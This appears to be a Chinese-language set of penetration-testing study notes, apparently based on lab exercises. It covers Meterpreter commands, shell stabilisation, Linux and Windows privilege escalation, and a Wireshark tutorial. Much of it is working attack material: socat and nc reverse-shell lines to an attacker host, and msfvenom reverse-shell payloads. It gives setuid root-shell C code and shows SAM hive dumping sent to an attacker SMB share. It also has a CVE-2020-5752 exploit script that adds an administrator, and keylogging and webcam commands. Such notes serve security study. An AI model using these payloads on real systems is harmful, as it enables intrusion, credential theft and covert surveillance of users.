  • load:加载一个或多个Meterpreter扩展
  • migrate:允许您将Meterpreter迁移到另一个进程
  • run:执行Meterpreter脚本或 Post 模块
  • sessions:快速切换到另一个会话

文件系统命令

  • cd:将更改目录
  • ls:将列出当前目录中的文件(dir 也可以)
  • pwd:打印当前工作目录
  • edit:将允许您编辑文件
  • cat:将在屏幕上显示文件的内容
  • rm:将删除指定文件
  • search:将搜索文件
  • upload:将上传文件或目录
  • download:将下载文件或目录

网络命令

  • arp:显示主机ARP(地址解析协议)缓存
  • ifconfig:显示目标系统上可用的网络接口
  • netstat:显示网络连接
  • portfwd:将本地端口转发到远程服务
  • route:允许您查看和修改路由表

系统命令

  • clearev:清除事件日志
  • execute:执行命令
  • getpid:显示当前进程标识符
  • getuid:向用户显示Meterpreter正在以以下身份运行
  • kill:终止进程
  • pkill:通过名称终止进程
  • ps:列出正在运行的进程
  • reboot:重新启动远程计算机
  • shell:进入系统命令 shell
  • shutdown:关闭远程计算机
  • sysinfo:获取有关远程系统的信息,例如操作系统

其他命令(这些命令将在帮助菜单中的不同菜单类别下列出)

  • idletime:返回远程用户空闲的秒数
  • keyscan_dump:转储击键缓冲区
  • keyscan_start:开始捕获击键
  • keyscan_stop:停止捕获按键
  • screenshare:允许您实时观看远程用户的桌面
  • screenshot:抓取交互式桌面的屏幕截图
  • record_mic:从默认麦克风录制 X 秒的音频
  • webcam_chat:开始视频聊天
  • webcam_list:列出网络摄像头
  • webcam_snap:从指定的网络摄像头拍摄快照
  • webcam_stream:播放指定网络摄像头的视频流
  • getsystem:尝试将您的权限提升至本地系统权限
  • hashdump:转储 SAM 数据库的内容

Shell

工具:Netcat、Socat、Metasploit、Msfvenom

Kali在/usr/share/webshells预装了一些webshell

种类:

  • 反向 shell:强制目标执行连接您计算机的代码。使用上述工具之来设置用于接收连接的侦听器
  • bind shell(少见):在目标上执行的代码用于启动直接连接到目标上的 shell 的侦听器,可以连接到代码打开的端口,并以此方式获得远程代码执行。

稳定nc shell

  • 一、Python(仅适用于Linux):python -c 'import pty;pty.spawn("/bin/bash")',用 Python 生成功能更好的 bash shell;某些目标可能需要指定的 Python 版本,根据需要替换pythonpython2python3

    export TERM=xterm——这将使我们能够访问诸如术语命令clear

    使用 Ctrl + Z 将 shell 置于后台。回到我们自己的终端,使用stty raw -echo; fg(能够访问制表符自动补全、箭头键和 Ctrl + C 来终止进程)。

  • rlwrap:一个程序,在收到 shell 后让我们可以立即访问历史记录、Tab 自动完成和箭头键

    要使用 rlwrap,我们需要调用一个稍微不同的监听器:

    1
    rlwrap nc -lvnp <port>
  • socat(交互式):

​ 反向shell

​ 监听:socat TCP-L:<port> -

​ Linux:socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li"

​ Windows:socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes

​ bind shell

​ 攻击机:socat TCP:<TARGET-IP>:<TARGET-PORT> -

​ Linux:socat TCP-L:<PORT> EXEC:"bash -li"

​ Windows:socat TCP-L:<PORT> EXEC:powershell.exe,pipes

​ 完全稳定的Linux tty 反向 shell(仅限Linux):

​ 监听:socat TCP-L:<port> FILE:tty,raw,echo=0

socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane

大多数机器默认没有安装 socat,可以上传预编译的 socat 二进制文件

​ socat建立加密shell

​ 生成证书:openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt

​ 合并为.pem文件:cat shell.key shell.crt > shell.pem

​ 反向shell监听器:socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -

​ 反向shell连接:socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash

​ bind shell 目标:socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes

​ 攻击机:socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -

​ 基于tty技术监听:socat OPENSSL-LISTEN:<port>,cert=encrypt.pem,verify=0 FILE:tty,raw,echo=0

​ 连接:socat OPENSSL:<ip>:<port>,verify=0 EXEC:"bash -li",pty,stderr,sigint,setsid,sane

shell payload

反弹shell生成器

[PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology and Resources/Reverse Shell Cheatsheet.md)

msfvenom(仅会被Metasploit捕获):msfvenom -p <PAYLOAD> <OPTIONS>

webshell

指的是在网络服务器(通常使用PHP或 ASP等语言)内运行的脚本

在 Windows 上,若获得以 SYSTEM 用户身份运行的 shell,或以高权限运行的管理员帐户,可以简单地将您自己的帐户(在管理员组中)添加到计算机,然后通过RDP、telnet、winexe、psexec、WinRM 或任何其他方法登录

1
2
net user <username> <password> /add
net localgroup administrators <username> /add

提权

Linux

信息打点

  • hostname返回目标机器的主机名(在某些情况下,它可以提供有关目标系统在公司网络中的角色的信息)

  • uname -a将打印系统信息,为我们提供有关系统使用的内核的更多详细信息。这在搜索可能导致特权升级的任何潜在内核漏洞时非常有用。

  • /proc/version提供有关内核版本的信息和其他数据,例如是否安装了编译器(例如 GCC)

  • /etc/issue包含一些有关操作系统的信息

  • ps显示当前 shell 的进程,ps -A查看所有正在运行的进程,ps axjf查看进程树、ps aux显示所有用户的进程(a)、显示启动进程的用户(u)以及显示未附加到终端的进程(x)

  • env显示环境变量(可能有一个编译器或脚本语言(例如 Python),可用于在目标系统上运行代码或用于提升权限。)

  • sudo -l目标系统可能配置为允许用户以 root 权限运行部分(或全部)命令。该可列出用户可以sudo运行的所有命令

  • ls -a查看隐藏文件

  • id提供用户权限级别和组成员资格的概述,可查看其他用户

  • /etc/passwd轻松发现系统上的用户(返回所有用户,其中一些是系统或服务用户,用处不大。另一种方法是 grep “home”,因为真实用户的文件夹很可能位于“home”目录下。)

  • history查看历史记录

  • ifconfig目标系统可能是另一个网络的枢轴点。该ifconfig 命令将为我们提供有关系统网络接口的信息。

  • ip route可以使用命令查看哪些网络路由存在来 确认这一点

  • netstat

    netstat -a:显示所有监听端口及已建立的连接。

    netstat -atnetstat -au也可用于分别列出 TCP 或UDP协议。

    netstat -l:列出处于“监听”模式的端口。这些端口已打开并准备接受传入连接。这可以与“t”选项一起使用,以仅列出使用TCP协议监听的端口

    netstat -s``-t :按协议列出网络使用情况统计信息(如下)这也可以与或选项一起使用-u 以将输出限制为特定协议

    netstat -tp:列出带有服务名称和PID 信息的连接。-l 也可以与列出监听端口的选项 一起使用

    netstat -i:显示接口统计信息

    netstat 最常看到的用法 可以netstat -ano显示所有sockets

    • find

      查找文件:

      • find . -name flag1.txt:在当前目录下查找名为“flag1.txt”的文件
      • find /home -name flag1.txt:在/home目录中查找文件名为“flag1.txt”
      • find / -type d -name config:在“/”下找到名为config的目录
      • find / -type f -perm 0777:查找具有 777 权限的文件(所有用户可读、可写、可执行的文件)
      • find / -perm a=x:查找可执行文件
      • find /home -user frank:查找“/home”下用户“frank”的所有文件
      • find / -mtime 10:查找过去 10 天内修改过的文件
      • find / -atime 10:查找过去 10 天内访问过的文件
      • find / -cmin -60:查找过去一小时(60 分钟)内更改的文件
      • find / -amin -60:查找过去一小时(60 分钟)内访问的文件
      • find / -size 50M:查找大小为 50 MB 的文件

      此命令还可以与 (+) 和 (-) 符号一起使用来指定大于或小于给定大小的文件。

      1
      find / -size +100M

find”命令往往会产生错误,这有时会使输出难以阅读。使用-type f 2>/dev/null”将错误重定向到“/dev/null”并获得更清晰的输出

  • 可以写入或执行的文件夹和文件:

    • find / -writable -type d 2>/dev/null:查找可写的文件夹
    • find / -perm -222 -type d 2>/dev/null:查找可写的文件夹
    • find / -perm -o w -type d 2>/dev/null:查找可写的文件夹
    • find / -perm -o x -type d 2>/dev/null :查找可执行文件夹
  • 查找开发工具和支持的语言:

    • find / -name perl*
    • find / -name python*
    • find / -name gcc*
  • 查找具有 SUID 位的文件(suid提权)
    find / -perm -u=s -type f 2>/dev/null

若在shell中只显示$可尝试bash -i

自动枚举工具

内核提权

  1. 识别内核版本
  2. 搜索并找到目标系统内核版本的漏洞代码
  3. 运行漏洞利用程序(内核漏洞利用失败可能会导致系统崩溃)

python -m http.server利用python上传文件

sudo提权

sudo -l检查其当前与root权限相关的情况

利用应用程序功能,如ApacheNmap

https://gtfobins.github.io/提供了有关如何使用拥有 sudo 权限的任何程序的信息

利用 LD_PRELOAD

LD_PRELOAD 是一个允许任何程序使用共享库的函数。这篇博文可了解 LD_PRELOAD 的功能。如果启用了“env_keep”选项,我们可以生成一个共享库,该库将在程序运行之前加载并执行。但如果实际用户 ID 与有效用户 ID 不同,则将忽略 LD_PRELOAD 选项。

  1. 检查 LD_PRELOAD(使用 env_keep 选项)
  2. 编写一个简单的 C 代码,编译为共享对象(.so 扩展名)文件
  3. 使用 sudo 权限和指向我们的 .so 文件的 LD_PRELOAD 选项运行该程序

C 代码将简单地产生一个 root shell,可以按如下方式编写;

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

我们可以将此代码保存为 shell.c,并使用 gcc 将其编译为共享目标文件,使用以下参数;

1
gcc -fPIC -shared -o shell.so shell.c -nostartfiles

现在,我们可以在启动用户可以使用 sudo 运行的任何程序时使用此共享对象文件。导致产生具有 root 权限的 shell

suid提权

find / -type f -perm -04000 -ls 2>/dev/null将列出设置了 SUID 或 SGID 位的文件。

示例:为nano设置的 SUID 位允许我们使用文件所有者的权限创建、编辑和读取文件,我们有两个基本的提权选项:读取文件/etc/shadow或将我们的用户添加到/etc/passwd

nano /etc/shadow将打印文件的内容/etc/shadow。现在我们可以使用 unshadow 工具创建一个可由John the Ripper破解的文件。为此,unshadow 需要/etc/shadow/etc/passwd文件。

unshadow 工具的用法如下所示;
unshadow passwd.txt shadow.txt > passwords.txt

有了正确的单词表和一点运气,John the Ripper可以以明文形式返回一个或多个密码。john --wordlist=./pass.txt passwords.txt

另一个选项是添加具有 root 权限的新用户。这将帮助我们绕过繁琐的密码破解过程。以下是一个简单的方法:

我们需要新用户密码的哈希值。这可以使用 Kali Linux上的 openssl 工具快速完成。

然后我们将该密码和用户名添加到/etc/passwd 文件中。

一旦添加了我们的用户(请注意如何root:/bin/bash用于提供 root shell),我们将需要切换到该用户,并且希望它具有 root 权限。

capabilities位提权

getcap -r / 2>/dev/null来查看哪些具有capabilites权限

在GTFOBins查询提权方法即可

计划任务提权

Cron 作业用于在特定时间运行脚本或二进制文件。作业配置存储为 crontabs(cron 表),以查看任务下次运行的时间和日期。系统上的每个用户都有自己的 crontab 文件,目标是找到一个由 root 设置的 cron 作业并让它运行我们的脚本,理想情况下是一个 shell。

任何用户都可以读取保存系统范围 cron 作业的文件,/etc/crontab

花时间了解脚本的功能以及任何工具在上下文中的使用方式总是值得的。例如,tar、7z、rsync 等,可以利用它们的通配符功能进行利用。

Path提权

Linux 中的 PATH 是一个环境变量,若对其中一文件夹具有可写权限,可编译二进制文件并设置SUID位,由于设置了 SUID 位,此二进制文件将以 root 权限运行

1、可以使用“ ”命令对可写文件夹进行简单搜索find / -writable 2>/dev/null。可以使用简单的剪切和排序序列清理此命令的输出。

1
find / -writable 2>/dev/null | cut -d "/" -f 2 | sort -u

2、将其与 PATH 进行比较将帮助我们找到可以使用的文件夹。

1
echo $PATH

例如/usr比对成功,再比较子文件夹

1
find / -writable 2>/dev/null | grep usr | cut -d "/" -f 2,3 | sort -u

3、更容易写入的文件夹可能是 /tmp,将其加入$PATHexport PATH=/tmp:$PATH

4、创建可执行文件

1
2
3
cd /tmp
echo "/bin/bash" > hack
chmod 777 hack

5、以 root 权限运行脚本,调用刚创立的可执行文件

1
2
3
4
5
6
7
#include <unistd.h>
void main()
{
setuid(0);
setgid(0);
system("hack");
}
1
2
3
gcc exp.c -o path -w
chmod u+s path
./path

NFS提权

共享文件夹和远程管理接口(如SSH和 Telnet)也可以帮助您获得目标系统的 root 访问权限,例如,在目标系统上找到 root SSH私钥,然后使用 root 权限通过SSH进行连接,另一个途径是配置错误的网络 shell

NFS(网络文件共享)配置保存在/etc/exports 文件中

提权的关键在于“no_root_squash”选项。默认情况下,NFS 会将 root 用户更改为 nfsnobody,并剥夺任何文件以 root 权限运行的权利。如果可写共享上存在“no_root_squash”选项,我们可以创建一个设置了 SUID 位的可执行文件并在目标系统上运行它。

1、在攻击机上枚举可挂载共享showmount -e <ip>

2、把其中一个“no_root_squash”共享安装到我们的攻击机器上并开始构建我们的可执行文件。

1
2
mkdir /tmp/backupsonattackermachine
sudo mount -o rw <ip>:/bacd /tmp/backupsonattackermachine

3、由于我们可以设置 SUID 位,因此在目标系统上运行 /bin/bash 的简单可执行文件就可以

1
2
3
4
5
6
7
int main()
{
setgid(0);
setuid(0);
system("/bin/bash");
return 0;
}
1
2
gcc nfs.c -o nfs -w
chmod +s nfs

另一种方法

攻击机

1
2
>cp /bin/bash . 
>chmod +s bash

靶机

1
2
>cd <SHAREDD_FOLDER> 
>./bash -p #ROOT shell

Windows

提前了解Windows基础知识包括域控等和Metasploit

信息打点

  • Unattended Windows Installations

​ 在大量主机上安装 Windows 时,管理员可以使用 Windows 部署服务,该服务允许通过网络将单个操作系统映像部署到多个主机。这些类型的安装称为无人值守安装,因为它们不需要用户交互。此类安装需要使用管理员帐户执行初始设置,最终可能会存储在计算机的以下位置:

1
2
3
4
5
C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
  • Powershell History

​ 每当用户使用 Powershell 运行命令时,它都会被存储到一个保存过去命令记忆的文件中。这对于快速重复以前使用过的命令非常有用。如果用户运行的命令直接在 Powershell 命令行中包含密码,则可以稍后使用提示符cmd.exe中的以下命令检索密码:

1
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

上述命令只能在 cmd.exe 中运行,因为 Powershell 不会将其识别%userprofile%为环境变量。要从 Powershell 读取文件,您必须将其替换%userprofile%$Env:userprofile

  • 已保存的 Windows 凭据

​ Windows 允许我们使用其他用户的凭据。此功能还提供了在系统上保存这些凭据的选项。以下命令将列出已保存的凭据:

1
cmdkey /list

虽然您看不到实际的密码,但如果您注意到任何值得尝试的凭据,则可以将它们与命令 runas/savecred 选项一起使用,如下所示。

1
runas /savecred /user:admin cmd.exe
  • IIS 配置

​ Internet 信息服务 (IIS) 是 Windows 安装中的默认 Web 服务器。IIS 上的网站配置存储在名为web.config的文件中,可以存储数据库密码或配置的身份验证机制。根据安装的 IIS 版本,我们可以在以下位置之一找到 web.config:

1
2
C:\inetpub\wwwroot\web.config
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config

以下是在文件上快速查找数据库连接字符串的一种方法:

1
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
  • 从软件中检索凭证

例如:**PuTTY **, Windows 系统上常见的 SSH 客户端。用户无需每次都指定连接参数,而是可以存储会话,其中可以存储 IP、用户和其他配置以供日后使用。虽然 PuTTY 不允许用户存储他们的 SSH密码,但它会存储包含明文身份验证凭据的代理配置。

要检索存储的代理凭据,您可以使用以下命令在以下注册表项下搜索 ProxyPassword:

1
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

注意: Simon Tatham 是 PuTTY 的创建者(他的名字是路径的一部分),而不是我们要检索密码的用户名。运行上述命令后,存储的代理用户名也应该可见。

就像 putty 存储凭证一样,任何存储密码的软件,包括浏览器、电子邮件客户端、FTP 客户端、SSH客户端、VNC 软件等,都会有方法来恢复用户保存的任何密码。

计划任务

可以使用不带任何选项的schtasks命令从命令行列出计划任务 。要检索有关任何服务的详细信息,您可以使用以下命令:

1
schtasks /query /tn <task name> /fo list /v

您将获得大量有关该任务的信息,但对我们来说重要的是“要运行的任务”参数,它指示计划任务执行的内容,以及“以用户身份运行”参数,它显示将用于执行该任务的用户。

如果我们当前的用户可以修改或覆盖“要运行的任务”可执行文件,我们就可以控制 taskusr1 用户执行的内容,从而实现简单的权限提升。要检查可执行文件的权限,我们使用icacls

1
icacls <task_file_path>

若具有完全访问权限 (F),修改权限 (M)这意味着我们可以修改 .bat 文件并插入任何我们想要的有效载荷。

利用nc修改bat文件生成反向 shell

1
echo .\nc64.exe -e cmd.exe ATTACKER_IP 4444 > <task_file_path>

安装程序文件

Windows 安装程序文件(也称为 .msi 文件)用于在系统上安装应用程序。它们通常以启动它的用户的权限级别运行。但是,这些文件可以配置为从任何用户帐户(甚至是非特权帐户)以更高的权限运行。这可能允许我们生成以管理员权限运行的恶意 MSI 文件。

此方法需要设置两个注册表值。您可以使用以下命令从命令行查询这些值。

1
2
C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

为了能够利用此漏洞,必须同时设置这两个参数。否则,将无法利用此漏洞。如果设置了这两个参数,则可以使用 生成恶意 .msi 文件 msfvenom,如下所示:

1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_MACHINE_IP LPORT=LOCAL_PORT -f msi -o malicious.msi

由于这是一个反向 shell,您还应该运行相应配置的Metasploit Handler 模块。传输创建的文件后,您可以使用以下命令运行安装程序并接收反向 shell:

1
C:\> msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi

Windows服务错误配置

Windows 服务由服务控制管理器(SCM)管理,每项服务都会有一个关联的可执行文件,每当服务启动时,SCM 都会运行该可执行文件。需要注意的是,服务可执行文件会实现特殊功能以便能够与 SCM 通信,因此并非任何可执行文件都可以作为服务成功启动。每项服务还指定了运行服务的用户帐户。

我们使用sc qc命令检查服务配置:

1
sc qc <name>

PowerShell 的“sc”是“Set-Content”的别名,因此如果您在PowerShell提示符中,则需要使用“sc.exe”来控制服务

关联的可执行文件是通过BINARY_PATH_NAME参数指定的,而用于运行该服务的账户则显示在SERVICE_START_NAME参数上。

服务具有自主访问控制列表 (DACL),它指示谁有权启动、停止、暂停、查询状态、查询配置或重新配置服务以及其他特权。 DACL 可以从 Process Hacker中看到:

所有服务配置都存储在注册表中HKLM\SYSTEM\CurrentControlSet\Services\

系统中每个服务都有一个子项。同样,我们可以在ImagePath值上看到关联的可执行文件,在ObjectName值上看到用于启动服务的帐户。如果为服务配置了DACL ,它将存储在名为Security的子项中。默认情况下只有管理员才能修改此类注册表项。

服务可执行文件的权限不安全

如果与服务关联的可执行文件的权限较弱,允许攻击者修改或替换它,则攻击者可以轻松获得该服务帐户的权限。

使用 msfvenom 生成一个 exe-service 有效负载并通过 python 网络服务器提供服务

1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe

一旦有效载荷进入 Windows 服务器,我们将继续用我们的有效载荷替换服务可执行文件。由于我们需要另一个用户来执行我们的有效载荷,因此我们也需要向 Everyone 组授予完全权限:

1
2
3
move WService.exe WService.exe.bkp
move C:\Users\thm-unpriv\rev-svc.exe WService.exe
icacls WService.exe /grant Everyone:F

未加引号的服务路径

当我们无法像以前一样直接写入服务可执行文件时,如果将服务配置为指向“未加引号”(相关可执行文件的路径未正确加引号以考虑命令中的空格)的可执行文件,

例如:

1
BINARY_PATH_NAME   : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe

此时由于命令中有空格,会产生歧义,SCM会依次搜索

1、C:\\MyPrograms\\Disk.exe

2、C:\\MyPrograms\\Disk Sorter.exe

3、C:\\MyPrograms\\Disk Sorter Enterprise\\bin\\disksrs.exe

攻击者创建在预期服务可执行文件之前搜索的任何可执行文件,他们就可以强制服务运行任意可执行文件,但大多数服务可执行文件将默认安装在C:\Program Files或下C:\Program Files (x86),非特权用户无法写入。这可以防止任何易受攻击的服务被利用。此规则有例外:- 某些安装程序会更改已安装文件夹的权限,从而使服务易受攻击。- 管理员可能会决定将服务二进制文件安装在非默认路径中。如果这样的路径是所有人均可写的,则可以利用该漏洞。

依然用icacls查看文件夹权限,ADWD权限,分别允许用户创建子目录和文件。

使用 msfvenom 创建 exe-service payload 并将其传输到目标主机的过程与之前相同

不安全的服务权限

如果服务 DACL(不是服务的可执行DACL)允许您修改服务的配置,您将能够重新配置该服务。这将允许您指向您需要的任何可执行文件,并使用您喜欢的任何帐户运行它,包括 SYSTEM 本身。

要从命令行检查服务 DACL,可以使用Sysinternals 套件中的Accesschk。具有SERVICE_ALL_ACCESS权限,这意味着任何用户都可以重新配置该服务。

首先构建exe-service 反向 shell,授予每个人执行您的有效负载的权限

1
icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F

要更改服务关联的可执行文件和帐户,我们可以使用以下命令

1
sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem

我们可以使用任何帐户来运行该服务。我们选择 LocalSystem,因为它是可用的最高权限帐户

滥用危险特权

Windows权限

特权是帐户执行特定系统相关任务的权利。每个用户都有一组分配的权限,可以使用以下命令进行检查:

1
whoami /priv

此处提供了 Windows 系统上可用权限的完整列表。从攻击者的角度来看,只有那些允许我们在系统中升级的权限才是值得关注的。您可以在Priv2Admin Github 项目上找到可利用权限的完整列表。

举例

SeBackup/SeRestore

SeBackup 和 SeRestore 权限允许用户读取和写入系统中的任何文件,而忽略任何现有的DACL。

有了这种能力,攻击者就可以使用多种技术轻松提升系统权限,这里介绍复制 SAM 和 SYSTEM 注册表配置单元以提取本地管理员的密码哈希。

1、以管理员身份打开命令提示符才能使用这些权限,备份 SAM 和 SYSTEM 哈希

1
2
reg save hklm\system C:\Users\THMBackup\system.hive
reg save hklm\sam C:\Users\THMBackup\sam.hive

2、这将创建几个包含注册表配置单元内容的文件,可以使用 SMB 或任何其他可用方法将这些文件复制到我们的攻击者机器上。在攻击机使用impacket框架中smbserver.py脚本启动一个具有网络共享的简单SMB服务器:

1
2
mkdir share
python3.9 /opt/impacket/examples/smbserver.py -smb2support -username <username> -password <pass> public share

3、在目标机器使用copy将两个文件传输到攻击机

1
2
copy C:\Users\THMBackup\sam.hive \\ATTACKER_IP\public\
copy C:\Users\THMBackup\system.hive \\ATTACKER_IP\public\

4、使用 impacket 检索用户的密码哈希值:

1
python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL

5、最终可以使用管理员的哈希执行传递哈希攻击,并以 SYSTEM 权限访问目标机器:

1
python3.9 /opt/impacket/examples/psexec.py -hashes

SeTakeOwnership

SeTakeOwnership 权限允许用户获取系统上任何对象的所有权,包括文件和注册表项

例如我们利用utilman.exe来提升权限。Utilman 是一款内置 Windows 应用程序,用于在锁定屏幕期间提供轻松访问选项,Utilman 以 SYSTEM 权限运行,因此如果我们将原始二进制文件替换为我们喜欢的任何有效载荷,我们将有效地获得 SYSTEM 权限。

1、为了替换 utilman,我们首先使用以下命令获取它的所有权:

1
takeown /f C:\Windows\System32\Utilman.exe

成为文件的所有者并不一定意味着您拥有该文件的权限,但作为所有者,您可以为自己分配所需的任何权限。

2、授予用户对 utilman.exe 的完全权限

1
icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F

3、我们将用 cmd.exe 的副本替换 utilman.exe

1
copy cmd.exe utilman.exe

4、为了触发 utilman,我们将从开始按钮锁定屏幕,继续单击“轻松访问”按钮,它将以 SYSTEM 权限运行 cmd.exe

SeImpersonate/SeAssignPrimaryToken

这些权限允许进程模拟其他用户并代表他们行事,设法控制具有 SeImpersonate 或 SeAssignPrimaryToken 权限的进程,我们就可以模仿任何连接和验证该进程的用户

易受攻击的软件

可以使用该 wmic 工具列出目标系统上安装的软件及其版本。以下命令将转储它可以收集的有关已安装软件的信息(可能需要大约一分钟才能完成)

1
wmic product get name,version,vendor

wmic product 命令可能不会返回所有已安装的程序。根据某些程序的安装方式,它们可能不会在此处列出。始终值得检查桌面快捷方式、可用服务或通常任何表明可能存在其他易受攻击的软件的痕迹。

例如CVE-2020-5752

更改脚本为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ErrorActionPreference = "Stop"

$cmd = "net user pwnd SimplePass123 /add & net localgroup administrators pwnd /add"

$s = New-Object System.Net.Sockets.Socket(
[System.Net.Sockets.AddressFamily]::InterNetwork,
[System.Net.Sockets.SocketType]::Stream,
[System.Net.Sockets.ProtocolType]::Tcp
)
$s.Connect("127.0.0.1", 6064)

$header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]")
$rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0")
$command = [System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd");
$length = [System.BitConverter]::GetBytes($command.Length);

$s.Send($header)
$s.Send($rpcType)
$s.Send($length)
$s.Send($command)

在powershell ISE中运行, 这将创建pwnd密码为 的用户SimplePass123并将其添加到管理员组。使用以下命令来验证该用户pwnd是否存在并且属于管理员组:

1
net user pwnd

自动化工具

WinPEAS:WinPEAS 是一个脚本,用于枚举目标系统以发现特权提升路径。可下载预编译的可执行文件或 .bat 脚本,winPEAS 的输出可能很长,有时难以阅读。这就是为什么始终将输出重定向到文件是个好习惯

1
winpeas.exe > outputfile.txt

WinPEAS下载。

PrivescCheck:PowerShell脚本,无需执行二进制文件。

PrivescCheck 可在此处下载。

1
2
3
4
# 要在目标系统上运行 PrivescCheck,您可能需要绕过执行策略限制。为此,您可以使用Set-ExecutionPolicy如下所示的 cmdlet。
Set-ExecutionPolicy Bypass -Scope process -Force
. .\PrivescCheck.ps1
Invoke-PrivescCheck

WES-NG:无需上传到目标系统导致被杀软杀掉, WES-NG可在攻击机上运行,Python 脚本,可以在此处找到并下载。

安装后,在使用它之前,请输入命令 wes.py --update来更新数据库。该脚本将参考它创建的数据库来检查是否存在缺失的补丁,这些补丁可能会导致漏洞,您可以使用该漏洞来提升您在目标系统上的权限。

要使用该脚本,您需要systeminfo 在目标系统上运行该命令。不要忘记将输出定向到 .txt 文件,您需要将其移动到攻击机器上。

完成后,wes.py 可以按如下方式运行;

1
wes.py systeminfo.txt

Metasploit

如果目标系统上已经有Meterpretermulti/recon/local_exploit_suggester shell,则可以使用该模块列出可能影响目标系统的漏洞,并允许您提升在目标系统上的权限。

其他资源

CompTIA Pentest+

工具-WireShark

流量分析工具,用于

  • 检测并排除网络问题,例如网络负载故障点和拥塞。
  • 检测安全异常,例如恶意主机、异常端口使用和可疑流量。
  • 调查和了解协议细节,例如响应代码和有效负载数据。

GUI

主界面从上至下分为五个部分

工具栏 主工具栏包含用于数据包嗅探和处理的多个菜单和快捷方式,包括过滤、排序、汇总、导出和合并。
显示过滤栏 主要查询和过滤部分。
最近的文件 最近调查的文件列表。您可以双击调用列出的文件。
捕获过滤器和接口 捕获过滤器和可用的嗅探点(网络接口)。网络接口是计算机和网络之间的连接点。软件连接(例如 lo、eth0 和 ens33)可启用联网硬件。
状态栏 工具状态、配置文件和数字包信息。

加载pacp文件

可加载.cap.pcapng等pcap文件,流量分析界面包括

数据包列表窗格 每个数据包的摘要(源地址和目标地址、协议和数据包信息)。可以单击列表选择一个数据包进行进一步调查。选择数据包后,详细信息将显示在其他面板中。
数据包详细信息窗格 所选数据包的详细协议细分。
数据包字节窗格 所选数据包的十六进制和解码后的 ASCII 表示。它会根据详细信息窗格中单击的部分突出显示数据包字段。

状态栏中可显示数据包总数、文件名等

着色包

Wireshark 根据不同的条件和协议对数据包进行着色,以便快速发现捕获中的异常和协议,可以使用显示过滤器创建自定义颜色规则,默认的颜色可在视图->着色规则中查看

流量嗅探

可以使用左上角鲨鱼图标启动网络嗅探(捕获流量),红色按钮将停止嗅探,绿色按钮将重新启动嗅探过程。状态栏还将提供使用的嗅探接口和收集到的数据包数量。

合并PCAP文件

文件->合并路径将 pcap 与已处理的文件合并。当您选择第二个文件时,Wireshark 将显示所选文件中的数据包总数。单击“打开”后,它会将现有 pcap 文件与所选文件合并并创建一个新的 pcap 文件。

查看文件详细信息

了解文件详细信息很有帮助。尤其是在处理多个 pcap 文件时,有时需要了解并调用文件详细信息(文件哈希、捕获时间、捕获文件注释、接口和统计信息)来识别文件、对其进行分类和优先排序。您可以通过以下方式查看详细信息:“统计 --> 捕获文件属性” 或单击 窗口 左下角的“pcap 图标” 。

数据包

Wireshark 支持解析大量协议,您还可以编写自己的解析脚本。可以在此处找到有关解析的更多详细信息。

根据 OSI 模型,数据包由 5 到 7 层组成

(第一层):显示您正在查看的帧/数据包以及特定于 OSI 模型物理层的详细信息

源 [MAC](第二层):显示来自 OSI 模型数据链路层的源和目标 MAC 地址

源 [IP](第三层):显示来自 OSI 模型网络层的源和目标 IPv4 地址

协议(第四层):显示所使用的协议(UDP / TCP)以及源端口和目标端口的详细信息;来自 OSI 模型的传输层。

协议错误:第 4 层的延续显示需要重新组装的TCP特定段

应用程序协议(第五层):显示所用协议的特定详细信息,例如HTTP、FTP和SMB。来自 OSI 模型的应用程序层。

应用程序数据: 第五层的扩展可以显示特定于应用程序的数据

分组导航

Wireshark 计算所调查数据包的数量并为每个数据包分配一个唯一编号,可使用转到->转至分组加编号转到特定数据包

快捷键ctrl+g

查找数据包

Wireshark 还可以通过数据包内容查找数据包,通过编辑->查找分组,接受四种类型的输入(显示过滤器、十六进制、字符串和正则表达式)。字符串和正则表达式搜索是最常用的搜索类型。搜索不区分大小写,但可以通过单击单选按钮在搜索中设置区分大小写。

第二点是选择搜索字段。您可以在三个窗格(数据包列表、数据包详细信息和数据包字节)中进行搜索

标记数据包

